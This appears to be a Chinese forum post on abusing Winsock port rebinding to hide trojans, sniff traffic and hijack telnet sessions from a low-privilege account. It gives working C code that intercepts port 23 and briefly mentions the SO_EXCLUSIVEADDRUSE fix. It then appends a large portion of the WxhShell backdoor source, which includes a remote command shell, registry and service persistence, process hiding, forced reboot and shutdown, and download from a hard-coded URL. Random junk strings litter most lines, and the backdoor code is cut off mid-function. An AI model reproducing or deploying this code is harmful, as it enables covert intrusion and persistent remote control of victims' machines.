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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~qFuS933  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +T]/4"^M  
E= 3Ui  
  saddr.sin_family = AF_INET; -/ 5" Py  
| Q0Wv8/  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); qffVF|7  
fmqHWu*wG  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); CK4C:`YG  
TmI~P+5w  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 DZPg|*KT  
\NE~k)`4j%  
  这意味着什么?意味着可以进行如下的攻击: "^/3?W>  
U^aMh-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7p"4rL  
)1#J4  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) -U&k%X   
p6)Jzh_/  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?K5S{qG'O  
v6uXik  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Jz"Yb  
.%~m|t+Rt  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [PXv8K%]p  
Uwj|To&QR  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 B?bdHO:E~  
:SBB3G)|  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [wp(s2=  
mdzUL d5J  
  #include -8Z;s8ACo  
  #include  862e  
  #include eI20)t`j  
  #include    )96tBA%u  
  DWORD WINAPI ClientThread(LPVOID lpParam);   UNK}!>HD  
  int main() _.)6~  
  { .J?cV;:`  
  WORD wVersionRequested; V{qpha4'P  
  DWORD ret; -jXO9Q  
  WSADATA wsaData; {,:yZ&(  
  BOOL val; = Ob-'Syg>  
  SOCKADDR_IN saddr; `i~kW  
  SOCKADDR_IN scaddr; Y)V)g9  
  int err; w|t}.u  
  SOCKET s; a] =k-Xh  
  SOCKET sc; %%uvia=e  
  int caddsize; Veeuw  
  HANDLE mt; ,> %=,x  
  DWORD tid;   VD.wO%9?)  
  wVersionRequested = MAKEWORD( 2, 2 ); wk+| }s  
  err = WSAStartup( wVersionRequested, &wsaData ); >#u9W'@|  
  if ( err != 0 ) { wqx9  
  printf("error!WSAStartup failed!\n"); W}6OMAbsE;  
  return -1; Sbzx7 *X  
  } N [qNSo|  
  saddr.sin_family = AF_INET; zE,1zBS<  
   7{W#i<W  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ?WEKRl  
B>]4NF\)H9  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); M9C v00&  
  saddr.sin_port = htons(23); 4,g[g#g<q  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) bd'io O  
  { 1n3XB+*  
  printf("error!socket failed!\n"); g"}j  
  return -1; a_z1S Z2[  
  } V*d@@%u**  
  val = TRUE; uT#4"G9A[  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 y=HM]EH>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) rq(9w*MW:  
  { bukdyo;l  
  printf("error!setsockopt failed!\n"); ro}WBv  
  return -1; T<ka4  
  } x<Ac\Cx  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4tA`,}ywPq  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 P 7`RAz  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 O3/w@q Q  
WALK@0E  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) '&LH9r  
  { >~}}*yp  
  ret=GetLastError(); u2o196,Ut  
  printf("error!bind failed!\n"); TxA%{0  
  return -1; ;{j@ia  
  } DeK&_)g| Z  
  listen(s,2); OCN:{  
  while(1) tO}Y=kZa{  
  { JHJIjYG>P  
  caddsize = sizeof(scaddr); 52P^0<Wq  
  //接受连接请求 zE8qU;  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); # A#,]XP  
  if(sc!=INVALID_SOCKET) q.:j yj6  
  { vp|.x |@  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +*`>7m<^  
  if(mt==NULL) k*u4N  
  { cgV5{|P  
  printf("Thread Creat Failed!\n"); 1lLXu  
  break; ET\>cxSp  
  } werTwe2Q  
  } 4p6\8eytq.  
  CloseHandle(mt);  ?QRoSQ6  
  } XjFaP {  
  closesocket(s); w,zm$s^  
  WSACleanup(); BbG=vy8'l  
  return 0; o>^ @s4t  
  }   2=RQ,@s  
  DWORD WINAPI ClientThread(LPVOID lpParam) M2Zk1Z  
  { ~P,@">}  
  SOCKET ss = (SOCKET)lpParam; 3gQ2wP*K  
  SOCKET sc; #,S0uA  
  unsigned char buf[4096]; =`EVg>+^  
  SOCKADDR_IN saddr; Iy;bzHXs  
  long num; |'QgL0?  
  DWORD val; DR<=C`<4(  
  DWORD ret; Hd ${I",  
  //如果是隐藏端口应用的话,可以在此处加一些判断 4<btWbk5u*  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   tGw QUn  
  saddr.sin_family = AF_INET; OI)U c .  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 1SG^g*mf  
  saddr.sin_port = htons(23); cnL@j_mb  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) g0M/Sv  
  { V8947h|&  
  printf("error!socket failed!\n"); i Qa=4'9;  
  return -1; ;mauA#vd  
  } c :u2a/Q?  
  val = 100; y{9<>28  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [pzo[0G 'v  
  { \= G8  
  ret = GetLastError(); # XeEpdE  
  return -1; 1$v1:6  
  } 7hAc6M$h;  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) A 6j>KTU  
  { oV;I8;#\J  
  ret = GetLastError(); rrrn8b6  
  return -1; yv(\5)XF  
  } '/GZ/$a_l  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) GmdS~Fhp  
  { ia*Bcx_RW+  
  printf("error!socket connect failed!\n"); h,x'-]q  
  closesocket(sc); =SK{|fBB  
  closesocket(ss); *kq>Z 06'i  
  return -1; &\5%C\0Z<  
  } W@WKdaJ  
  while(1) P~@.(hed  
  { "%dok@v  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 iX6'3\Q3A  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 PS/00F/Ak  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 FQBAt0  
  num = recv(ss,buf,4096,0); ~+&Z4CYb  
  if(num>0) 4*?JU v  
  send(sc,buf,num,0); 9t"/@CH{  
  else if(num==0) NaC}KI`  
  break; QN8.FiiD  
  num = recv(sc,buf,4096,0); ~+anI  
  if(num>0) Ixr#zt$T-G  
  send(ss,buf,num,0); icXeB_&cS  
  else if(num==0) gVN&?`k*?  
  break; F2C v,&'  
  } )(DX]Tr`  
  closesocket(ss);  c.Do b?5  
  closesocket(sc); K)nn;j=  
  return 0 ; I`[s(C>3@  
  } e"]DIy4s  
x0ICpt{;  
#RTiWD[o  
========================================================== oF=UjA  
QmY1Bn?s  
下边附上一个代码,,WXhSHELL ,7^,\ ,-m  
-3|i5,f  
========================================================== }^Ky)**  
} !1pA5x$  
#include "stdafx.h" Na>?1F"KHk  
B+n(K+  
#include <stdio.h> :=2l1Y[-G  
#include <string.h> T]y^PT<8?  
#include <windows.h> C^9bur/  
#include <winsock2.h> `t Zw(Z=h  
#include <winsvc.h> }Oe9Zq  
#include <urlmon.h> !~a1xI~s  
^<v]x; 3  
#pragma comment (lib, "Ws2_32.lib") ky{-NrK  
#pragma comment (lib, "urlmon.lib") UO8./%'  
3vRBK?Q.y  
#define MAX_USER   100 // 最大客户端连接数 4qmaL+Q  
#define BUF_SOCK   200 // sock buffer )/4U]c{-  
#define KEY_BUFF   255 // 输入 buffer wf/DLAC  
g/jlG%kI}  
#define REBOOT     0   // 重启 '/Ag3R  
#define SHUTDOWN   1   // 关机 ]?n~?dD{]  
j[&C6l+wH  
#define DEF_PORT   5000 // 监听端口 yUlYf#`H  
p'YNj3&u  
#define REG_LEN     16   // 注册表键长度 f}? q  
#define SVC_LEN     80   // NT服务名长度 A"no!AN  
JTfG^Nv>K  
// 从dll定义API dx[kG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6dQ]=];  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .+2@(r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); cP &XkAQ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); { , zg  
:Wmio\  
// wxhshell配置信息 [B"CNnA  
struct WSCFG { Q\{$&0McF  
  int ws_port;         // 监听端口 a!*K)x,"<  
  char ws_passstr[REG_LEN]; // 口令 i~;Yrc%AEX  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~4C:2  
  char ws_regname[REG_LEN]; // 注册表键名 bT#re  
  char ws_svcname[REG_LEN]; // 服务名 X8| 0RU@f  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 D?@e,e  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @g==U{k;t  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _do(   
int ws_downexe;       // 下载执行标记, 1=yes 0=no <s(<ax30  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,]8$QFf  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h0n,WU/Kw  
X)k+BJ  
}; zx=AT  
M`gr*p  
// default Wxhshell configuration t9+ME|  
struct WSCFG wscfg={DEF_PORT, V.12  
    "xuhuanlingzhe", _)F0o C {  
    1, 4&/m>%r  
    "Wxhshell", nk-V{']  
    "Wxhshell", [SA$d`B/  
            "WxhShell Service", c&u~M=EW  
    "Wrsky Windows CmdShell Service", J<=k [Q  
    "Please Input Your Password: ", iJem9XXb  
  1, ;'xd8Jf  
  "http://www.wrsky.com/wxhshell.exe", =EdLffU[J  
  "Wxhshell.exe" v %GcNjZk5  
    }; /8tF7Mmr  
A3c&VT6Q  
// 消息定义模块 6<+8[o  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (N`x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; d@0&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .~ yz1^ c  
char *msg_ws_ext="\n\rExit."; [sweN]b6F  
char *msg_ws_end="\n\rQuit."; n;,>Fv  
char *msg_ws_boot="\n\rReboot..."; }~3 %KHT  
char *msg_ws_poff="\n\rShutdown..."; R8YA"(j!L  
char *msg_ws_down="\n\rSave to "; 2[Q/|D}}|  
L2m~ GnP|?  
char *msg_ws_err="\n\rErr!"; Y~ ( <H e?  
char *msg_ws_ok="\n\rOK!"; #Hyfj j  
2*9rhOK*  
char ExeFile[MAX_PATH]; sPUn"7  
int nUser = 0; cri.kr9Y  
HANDLE handles[MAX_USER]; s u)AIvF{  
int OsIsNt; }ikJ a  
hY-;Vh0J  
SERVICE_STATUS       serviceStatus; SFRQpQ06  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; pu9ub.  
Bh*7uNM  
// 函数声明 Lr}>Md  
int Install(void); xBW{Wyh  
int Uninstall(void); 6pi^rpo  
int DownloadFile(char *sURL, SOCKET wsh); ZJeTx.Gi6  
int Boot(int flag); v9 K{oB  
void HideProc(void); ~[d|:]  
int GetOsVer(void); m_n*_tX  
int Wxhshell(SOCKET wsl); yk7l{F  
void TalkWithClient(void *cs); 'AjDB:Mt$  
int CmdShell(SOCKET sock); UM QsYD)  
int StartFromService(void); 56Gc[<nR  
int StartWxhshell(LPSTR lpCmdLine); ("$ ,FRTQ:  
mFu0$N6]H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5\|u] ~b  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); M4m90C;dq  
1=.+!Tg  
// 数据结构和表定义 eFiUB  
SERVICE_TABLE_ENTRY DispatchTable[] = &@anv.D  
{ G,6Zy-Y9  
{wscfg.ws_svcname, NTServiceMain}, O.g!k"nas&  
{NULL, NULL} -F+dmI,1$  
}; 7TW</g(  
3(/J(8  
// 自我安装 gkN )`/`*  
int Install(void) !YCus;B~  
{ @3@oaa/v  
  char svExeFile[MAX_PATH]; [J71aH  
  HKEY key; 95%, 8t  
  strcpy(svExeFile,ExeFile); aE'nW@YL.  
GDMg.w 4Yk  
// 如果是win9x系统,修改注册表设为自启动 U`h>[9  
if(!OsIsNt) { pg;y\}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2|C(|fD4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y']D_\y  
  RegCloseKey(key); = rLL5<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nC> 'kgRt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O3>m,v  
  RegCloseKey(key); WFBVAD  
  return 0; ]@D#<[5\  
    } %Z#s9QC  
  } |#6))Dh  
} $<N!2[I L  
else { _jr'A-M  
^Td_B03)  
// 如果是NT以上系统,安装为系统服务 OKH4n/pq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); MPg"n-g*  
if (schSCManager!=0) ao(lj  
{ |{G GATni  
  SC_HANDLE schService = CreateService YrWC\HR_  
  ( jQc.@^#+x  
  schSCManager, &/7D4!N]  
  wscfg.ws_svcname, 7^|,l  
  wscfg.ws_svcdisp, ~&?{hd.  
  SERVICE_ALL_ACCESS, (,5,}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , QIg.r \>o  
  SERVICE_AUTO_START, ;}BDEBl  
  SERVICE_ERROR_NORMAL, NLLLt  
  svExeFile, O5:2B\B  
  NULL, 2UF ,W]  
  NULL, }j. [h;C6  
  NULL, 6HyndB^  
  NULL, ">pt, QV  
  NULL '"/Yk=EmlU  
  ); XW*,Lo5>H\  
  if (schService!=0) q0l=S+0  
  { aN/0'V|&ym  
  CloseServiceHandle(schService); }wh sZ  
  CloseServiceHandle(schSCManager); =/b WS,=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g;Lk 'Ky6  
  strcat(svExeFile,wscfg.ws_svcname); j$z<wR7j0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { '.mHx#?7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0;bi*2U  
  RegCloseKey(key); RTgR>qI&)  
  return 0; 2W_p)8t> b  
    } DG!H8^  
  } [z^db0PU  
  CloseServiceHandle(schSCManager); v,] &[`  
} c-ahe;q  
} A"`^A brm  
|QI FtdU5T  
return 1; 3bGJ?hpp  
} GWU"zWli]z  
W]t!I}yPR  
// 自我卸载 L`M.Htm8  
int Uninstall(void) 6_s_2cr  
{ Snav)Hb'  
  HKEY key; <e s>FD  
M,ObzgW  
if(!OsIsNt) { covr0N)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W_##8[r(?  
  RegDeleteValue(key,wscfg.ws_regname); EM.7,;|N  
  RegCloseKey(key); X}/{90UD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r[TTG0|  
  RegDeleteValue(key,wscfg.ws_regname); 7%E]E,f/#  
  RegCloseKey(key); D_HE!fl  
  return 0; ia!b0*<   
  } /_`f b)f  
} &3nbmkM  
} @4'bI)  
else { :RH0.5)  
DeAi'"&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); BJdH2qREN  
if (schSCManager!=0) ygvX}q  
{ l^@!,Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); krw_1Mm  
  if (schService!=0) Bj ~bsT@a.  
  { uP:Y[$O  
  if(DeleteService(schService)!=0) { <#hltPyh  
  CloseServiceHandle(schService); kbxy^4"X  
  CloseServiceHandle(schSCManager); @LzqQ [  
  return 0; ,.cNs5 [t  
  } WP@IV;i  
  CloseServiceHandle(schService); t#Q" ;e  
  } .!kO2/:6  
  CloseServiceHandle(schSCManager); } +@H&}u  
} [`_ZlC  
} JMUk=p<\  
B4<W%lm  
return 1; /%#LA  
} =` b/ip5  
4rmSo^vK  
// 从指定url下载文件 Gl1Qbd0  
int DownloadFile(char *sURL, SOCKET wsh) 7.r}98V  
{ Aj9Onz,Lg  
  HRESULT hr; : *~}\M*  
char seps[]= "/"; 8+L,a_q-  
char *token; wClX3l>y  
char *file; ),<E-Ub  
char myURL[MAX_PATH]; `v1Xywg9P  
char myFILE[MAX_PATH]; q\B048~KK  
[Ipg",Su;f  
strcpy(myURL,sURL); r@2{>j8  
  token=strtok(myURL,seps); LxM.z1  
  while(token!=NULL) 6evW O!  
  { R3G+tE/Y  
    file=token; Q}a,+*N.  
  token=strtok(NULL,seps); c\n&Z'vK  
  } V>{G$(v$  
Bc/'LI.%  
GetCurrentDirectory(MAX_PATH,myFILE); M<A*{@4$w&  
strcat(myFILE, "\\"); X_7cwPY  
strcat(myFILE, file); =?*6lS}gy  
  send(wsh,myFILE,strlen(myFILE),0); Lqt.S|  
send(wsh,"...",3,0); Koi  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); PJ=N.x f}  
  if(hr==S_OK) N(%%bHi#V  
return 0; ii.L]#3y  
else bN ,>,hj  
return 1; aAlES< r  
LIo3a38n?y  
} Lv`*+;1 K  
B]`!L/  
// 系统电源模块 n>)'!   
int Boot(int flag) 0g-bApxz*&  
{ %~V+wqu  
  HANDLE hToken; V-y"@0%1  
  TOKEN_PRIVILEGES tkp; },"T,t#  
ndSM*Fq  
  if(OsIsNt) { SNV[KdvP*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); uB(16|W>S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); o)X(;o  
    tkp.PrivilegeCount = 1; %TY;}V59b  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; fQ\nK H~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fkprTk^#  
if(flag==REBOOT) { p)t1] <,Of  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _h% :Tu  
  return 0; $=x1_  
} 0Cox+QJt  
else { K+0&~XU  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _f~(g1sE  
  return 0; j.3#rxq  
} ; bBz<  
  } 5/v,|  
  else { y^rcUPLT  
if(flag==REBOOT) { YF+hN\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~*3obZ2>2  
  return 0; 3'd(=hJ45$  
} ){AtV&{$  
else { x>>#<hOz[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'IorjR@ 40  
  return 0; P87!+pB(  
} h>'9-j6B  
} |WopsV %  
pjC2jlwm*  
return 1; b7 pD#v  
} X5@S LkJ-`  
^w0V{qF{  
// win9x进程隐藏模块 61Z#;2]  
void HideProc(void) (M1HNIM;(  
{ 4%8}vCs  
=!axQ[)A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); thoAEG80  
  if ( hKernel != NULL ) ")/TbT Vu  
  { +d[A'&"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $Hx00 ho  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); E8TJ*ZU  
    FreeLibrary(hKernel); U Hej5-B  
  } )KZ1Z$<  
9Tgl/}q)  
return; GM.2bA(y  
} /`M> 3q[  
H-?wEMi)*u  
// 获取操作系统版本 h'i8o>7  
int GetOsVer(void) W\(u1>lj  
{ +3HukoR(  
  OSVERSIONINFO winfo; 4?#0fK  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .k{omr&Dy5  
  GetVersionEx(&winfo); |G2hm8 Y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xwjim7# _:  
  return 1; 1E(~x;*)  
  else N30w^W&  
  return 0; %+WIv+ <  
} Fq{Z-yVp  
)V!9/d  
// 客户端句柄模块 r52X}Y  
int Wxhshell(SOCKET wsl) '~dE0ohWb  
{ K3eYeXV  
  SOCKET wsh; w#?@ulr]d  
  struct sockaddr_in client; 8q)wT0A~  
  DWORD myID; 4Xna}7  
<OKzb3e  
  while(nUser<MAX_USER) x+kP,v  
{ -ff|Xxar{  
  int nSize=sizeof(client); -{Lc?=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); F1V[8I.0  
  if(wsh==INVALID_SOCKET) return 1; S(7_\8 h  
b&LfL$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G2FP|mf,  
if(handles[nUser]==0) U Ox$Xwp5&  
  closesocket(wsh); oDyrf"dl  
else -Cb<T"7  
  nUser++; !J34yro+s  
  } N=qe*Rlf  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); vYh_<Rp5  
NF& ++Vr6  
  return 0; dcFqK~  
} V}1D1.@  
=F!DwaZ  
// 关闭 socket u3!aKXnv<  
void CloseIt(SOCKET wsh) O|#N$a&_N  
{ t@GPB]3[  
closesocket(wsh); A#s`!SNv  
nUser--; x\=2D<@az  
ExitThread(0); gTI!b  
} l2DhFt$!=  
F{1;~Yg%  
// 客户端请求句柄  P]bq9!{1  
void TalkWithClient(void *cs) V\ ud4  
{ O[p;IG`  
Evz;eobW/  
  SOCKET wsh=(SOCKET)cs; JHY0 J &4s  
  char pwd[SVC_LEN]; E$z)$`"1  
  char cmd[KEY_BUFF]; 0> pOP  
char chr[1]; B,sv! p+q5  
int i,j; 5xZ*U  
u$%>/cv  
  while (nUser < MAX_USER) { ,`7;S,f  
`aFy2x`3  
if(wscfg.ws_passstr) { RP]hW{:U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1vcI`8%S+u  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Kt WG2  
  //ZeroMemory(pwd,KEY_BUFF); ]w _,0q  
      i=0; lYlU8l5>  
  while(i<SVC_LEN) { stnyJ9  
lO/<xSjNd  
  // 设置超时 By=/DVm)=  
  fd_set FdRead; qyP|`Pm4  
  struct timeval TimeOut; :kycIM]s  
  FD_ZERO(&FdRead); =e7,d$i  
  FD_SET(wsh,&FdRead); ZeD""vJRY  
  TimeOut.tv_sec=8; )oOcV%  
  TimeOut.tv_usec=0; @MfuV4*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); O?uT'$GT  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )z0qKb \  
xF)AuGdp\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mU1lEx$  
  pwd=chr[0]; 1sFTXl  
  if(chr[0]==0xd || chr[0]==0xa) { WA-` *m$v  
  pwd=0; m`<Mzk.u<  
  break; 1y5]+GU'`  
  } iSTr;>A  
  i++; QK0  
    } &tFVW[(  
:uZfdu  
  // 如果是非法用户,关闭 socket fH.:#O:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %K^l]tWa@  
} \Nc/W!r*9  
-GkNA"2M[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q]_3 #_'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zr9o  
,s'78Dc$  
while(1) { KWU ~QAc  
&Z682b$  
  ZeroMemory(cmd,KEY_BUFF); <uP>  
8y}9X v  
      // 自动支持客户端 telnet标准   DXlP (={*  
  j=0; s)$N&0\  
  while(j<KEY_BUFF) { EG5'kYw2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $'3`$   
  cmd[j]=chr[0]; X{rw+!  
  if(chr[0]==0xa || chr[0]==0xd) { q!#e2Dx  
  cmd[j]=0; vjG: 1|*e  
  break; Hz$l)g}U  
  } \1 4"Bgj1  
  j++; 4[z a|t  
    } ;dl>  
r}OK3J  
  // 下载文件 [h8j0Q@Q  
  if(strstr(cmd,"http://")) { N=K|Nw  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); v*%#Fp,g8  
  if(DownloadFile(cmd,wsh)) -k{n"9a9?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); v\*43RL  
  else jsS xjf;O  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qr%9S dvx  
  } "J]_B  
  else { nAn/Vu  
@Md%gEh;&  
    switch(cmd[0]) { H{'<v|I  
  :.['e`  
  // 帮助 NLFSw  
  case '?': { 0bxB@(NO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3X$)cZQ  
    break; .$+]N[-=  
  } ZCi~4&Z#  
  // 安装 uhL+bj+W  
  case 'i': { H4LZNko  
    if(Install()) JicAz1P1W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hXi^{ntw,  
    else p<>%9180!F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <,d.`0:y  
    break; $x5P5^Y  
    } n(.y_NEgV!  
  // 卸载 ]gYnw;W$  
  case 'r': { 2Yt#%bj7^  
    if(Uninstall()) 5EDN 9?a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uR{HCZ-  
    else u2 a U0k:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FR9<$  
    break; X l#P@60  
    } gK/mm\K@  
  // 显示 wxhshell 所在路径 C.V")D=  
  case 'p': { 7QP%Pny%  
    char svExeFile[MAX_PATH]; /_E8'qlx  
    strcpy(svExeFile,"\n\r"); LZm6\x  
      strcat(svExeFile,ExeFile); @s J[<V  
        send(wsh,svExeFile,strlen(svExeFile),0); Pw/Z;N;:V  
    break; vz:P 2TkM  
    } Ed9ynJ~)X  
  // 重启 W HO;;j  
  case 'b': { }l&Uh &B`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6> v`6  
    if(Boot(REBOOT)) Vu '/o[nF>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pv&:N,p  
    else { 3o%,8l,  
    closesocket(wsh); YQOdwc LG  
    ExitThread(0); J@Eqqyf"  
    } 98h,VuKVaB  
    break; ^'i(@{{o\  
    } `;b@a<Wl  
  // 关机 {4Y@ DQ-  
  case 'd': { `O(ec  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Tx?,]c,(u  
